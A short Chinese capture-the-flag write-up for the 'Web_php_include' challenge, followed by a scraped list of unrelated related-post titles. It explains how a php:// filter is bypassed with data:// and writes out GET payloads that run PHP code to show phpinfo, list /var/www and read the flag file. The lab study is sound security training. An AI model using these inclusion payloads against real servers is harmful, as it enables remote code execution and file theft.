32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
来两个炸鸡腿几秒前
【Datawhale组队学习202601】Base-NLP task05 高级微调技术
人工智能·学习·自然语言处理
EverydayJoy^v^1 分钟前
RH134学习进程——九.访问网络附加存储
linux·网络·学习
GHL2842710903 分钟前
coze多agent学习
学习·ai编程
Engineer邓祥浩5 分钟前
设计模式学习(20) 23-18 中介者模式
学习·设计模式·中介者模式
观音山保我别报错8 分钟前
Spring Boot 项目学习内容详解(一)
spring boot·后端·学习
●VON10 分钟前
Flutter for OpenHarmony:基于三层 Tab 架构与数据模型解耦的 TodoList 产品化演进
学习·flutter·架构·openharmony·布局·技术
机器学习之心13 分钟前
集群中继无人机应急通信双层多目标协同优化部署:融合无监督学习与凸优化及启发式算法的MATLAB代码
学习·无人机·启发式算法·双层多目标协同优化
NaclarbCSDN19 分钟前
防御型安全(蓝队)入门
安全·web安全
@––––––21 分钟前
论文学习笔记:FAST - 高效的视觉-语言-动作模型动作分词技术
笔记·学习
Gain_chance24 分钟前
22-学习笔记尚硅谷数仓搭建-日志表建表语句解析、数据装载及脚本装载数据
数据仓库·笔记·学习